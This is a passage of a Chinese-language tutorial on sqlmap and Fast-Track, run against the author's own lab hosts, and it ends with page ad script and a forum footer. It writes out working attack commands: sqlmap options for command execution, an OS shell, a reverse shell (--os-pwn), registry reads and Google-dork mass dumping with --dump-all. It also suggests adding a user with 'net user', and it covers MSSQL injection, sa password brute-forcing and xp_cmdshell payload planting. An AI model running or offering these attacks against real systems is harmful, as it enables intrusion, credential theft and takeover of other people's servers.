do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
&驱动器 E 中的卷是 小瀚工作
&卷的序列号是 0002-C47E
&E:\wamp\www 的目录
&23:43 & &&DIR& & & & & &.
&23:43 & &&DIR& & & & & &..
&14:18 & &&DIR& & & & & &company
&20:08 & & & & & &21,237 index.php
&13:07 & &&DIR& & & & & &phpcms2007
&07:53 & &&DIR& & & & & &RFI
&10:56 & & & & & & & 184 testmysql.php
&23:42 & & & & & & & 908 tmpbjteg.php
&23:41 & & & & & & & 908 tmpbmkkd.php
&23:43 & & & & & & & 908 tmpbytiq.php
&23:42 & & & & & & 3,033 tmpudkdc.php
&23:41 & & & & & & 3,033 tmpugvdx.php
&23:43 & & & & & & 3,033 tmpukaau.php
&14:44 & &&DIR& & & & & &web
& & & & & & & &8 个文件 & & & & 33,244 字节
& & & & & & & &6 个目录 329,138,982,912 可用字节
result:这个命令相当恐怖了,可以执行任意cmd指令,要注意的是,在执行过程中,可能会提示要求我们给出服务端的网站根目录路径如:E:/wamp/www。大多数情况下这些路径都是可以猜测出来的,除此之外,其他的工作sqlmap都帮我们完成了。如果把cmd指令换成 &net user test 111 /add& ,注意加双引号。可以见,即使主机是win7并打上了各种补丁,可是一个小小的sql漏洞竟然可以突破到系统级权限。
17.&python sqlmap.py -u &http://192.168.0.103/company/do/alonepage.php?id=3&&--os-shell & & & & #系统交互shell
这个命令的运用过程和16是一样的,也要提供服务器的根目录,不过可以猜测出来。这个命令允许我们以交互方式操作对方主机,实在很强大。
18.&python sqlmap.py -u &http://192.168.0.103/company/do/alonepage.php?id=3&&--os-pwn & & & & & #反弹shell
这是通过上传文件来实现的反向隧道连接,但是会触发主机的防火墙警报。
19.&python sqlmap.py -u &http://192.168.0.103/company/do/alonepage.php?id=3&&--reg-read & & & & #读取win系统注册表
20.&python sqlmap.py sqlmap -g &google语法&&--dump-all --batch &
#google搜索注入点自动 跑出所有字段,例如:inurl:index.php?id=1 filetype:php
python sqlmap.py&sqlmap -g &inurl:index.php?id=1 filetype:php&&--dump-all --batch &
(这个指令也有点逆天的感觉,真的感叹sqlmap真的是大神写出来的啊,一定要深入看看它实现折现这些强悍功能的原理)
3.&Fast-Track
FastTrack是一个基于Python的开源工具,实现了一些扩展的高级渗透技术。它使用MSF框架来进行攻击载荷的植入,也可以通过客户端向量来实施渗透攻击,除此之外,它还增加了一些新特性对MSF进行补充:Microsoft SQL 攻击、更多渗透攻击模块及自动化攻击。
fasttrack提供了交互模式的用户使用接口,要进入交互模式
1) 启动FastTrack
cd /pentest/exploits/fasttrack(BT安装的时候默认是这个目录,请自行修改成实际情况fasttack所在目录)
./fast-track.py -i(命令行交互模式)
./fast-track.py -g(web界面交互模式)
本次实验采用命令行方式进行实验,毕竟是在linux下面,用输入命令的方式更舒服一点,老点鼠标也挺难受的。
2)Microsoft SQL 注入
和sqlmap一样,需要攻击者事先进行漏洞踩点,发现可能存在sql漏洞的URL,攻击者只需要确定查询语句和POST参数,其他的事情fasttrack都帮我们完成了。但是要注意,这类攻击只能针对MSSQL的web系统。因为自己是搞PHP开发的,手上没有asp+sqlserver的站,又不敢拿网上的网站来做实验,就自己搭建了一下环境,用的Z-Blog,不知道有没漏洞,但是实验原理是一样的就是了。
http://localhost:12345/zblog/view.asp?id=3
这个是实验的URL
1.&&&& SQL注入--查询语句攻击
从菜单中选择&4. &Microsoft SQL Tools 开始部署攻击
之后选择&1. MSSQL Injector。
最简单的SQL注入方式是操纵查询语句字段,而这一字符串通常位于从浏览器发送到服务上的URL中。URL中通常包含动态查询网页信息的一些参数信息(最常见的就是根据ID值来查看不同的文章)
接着选择&1. SQL Injector - Query String Parameter Attack
输入待攻击的URL:http://localhost:12345/zblog/view.asp?id='INJECTHERE
当fasttrack开始攻击漏洞时,它将查找带有id字段的所有字段,即决定哪个字段可以被用来进行攻击。
listening on [any] 4444....
如果攻击成功的话就会弹出一个cmd shell,表示控制了对方机器的控制权。整个过程都是通过SQL注入完成的。但是我在实验的时候没有成功,因为z-blog使用了参数过滤了。
如果应用程序中使用了参数化的SQL查询语句或者存储过程的话,我们的攻击将不会成功。
2. SQL注入--POST参数攻击
fasttrack的POST参数攻击比进行基于URL的query攻击所需要做的配置更少。我们只要把想要攻击网页的URL输入到fasttrack中,它就会自动识别出表单并进行攻击
输入:http://localhost:12345/zblog/view.asp
3. MSSQL破解
如果管理员在安装过程中指定了要使用混合认证模式或SQL认证模式,那么安装程序的管理员需要设置一个MSSQL的sa用户帐号(即MSSQL系统管理员)。如果sa账户口令被暴力,将导致攻击者使用扩展存储过程xp_cmdshell来攻陷整个。(MSF中也有类似的MSSQL暴力挂字典破解方法)
fasttack使用了几种方法来探索发现MSSQL服务器:
1) 使用nmap对MSSQL默认的TCP 1433端口进行扫描,然而如果目标主机使用MSSQL server 2005 或以后的版本,这些版本采用了动态端口技术,这样增加了猜解的难度。但是fasttrack可以直接和MSF交互,通过UDP 1434端口查找出MSSQL服务器运行的动态端口。
2) 一旦fasttrack识别出服务端口并成功爆破sa账户口令(实际没说的这么简单,需要良好的配置以及很好的社会工程字典)。fasttrack将使用高级的binnary-to-hex转换方法来植入一个攻击载荷。这个攻击的成功率相当高,特别在MSSQL广泛使用的大型网络环境下。
3)在上一个列表中选择&2. MSSQL Bruter, 选择暴力破解
(a)ttempt SQL Ping and Auto Quick Brute Force:使用这个选项来尝试扫描一段IP地址,使用语法和nmap一样,然后利用一个事先准备好的包含50个常见口令的字典文件来进行快速暴力破解(再次重申一下,这一小节的所有攻击手段都是建立在那个ASP页面本身存在注入漏洞的情况下,如果应用程序使用了参数过滤,就没办法了,只能采用手工注入的方法,自定制高级攻击手段)
输入: sa & &192.168.0.103或192.168.0.1/24
(f)ind SQL Ports (SQL Ping): 这个功能选项仅仅为了寻找SQL服务器的地址,而不会发动攻击
(window.slotbydup=window.slotbydup || []).push({
id: '2467140',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467141',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467142',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467143',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467148',
container: s,
size: '1000,90',
display: 'inlay-fix'}

我要回帖

更多关于 redis 获取hash 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信